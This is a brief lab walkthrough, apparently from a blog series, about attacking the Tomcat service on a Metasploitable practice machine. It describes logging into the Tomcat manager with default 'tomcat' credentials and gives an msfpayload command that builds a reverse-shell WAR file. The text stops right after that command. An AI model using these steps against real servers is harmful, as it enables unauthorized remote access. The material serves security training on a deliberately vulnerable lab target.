In this episode we are going to take a look at the Tomcat Service on our Metasploitable Box.
Lets start with a Nmap scan…
As we can see the Tomcat manager requires a login. I know that by default the username and password is ‘tomcat’ lets try that.
we have logged into the manager application! Lets now take a look at generating a reverse shell!
msfpayload linux/x86/shell_reverse_tcp RHOST=172.16.28.245 LPORT=4444 W > myshell.war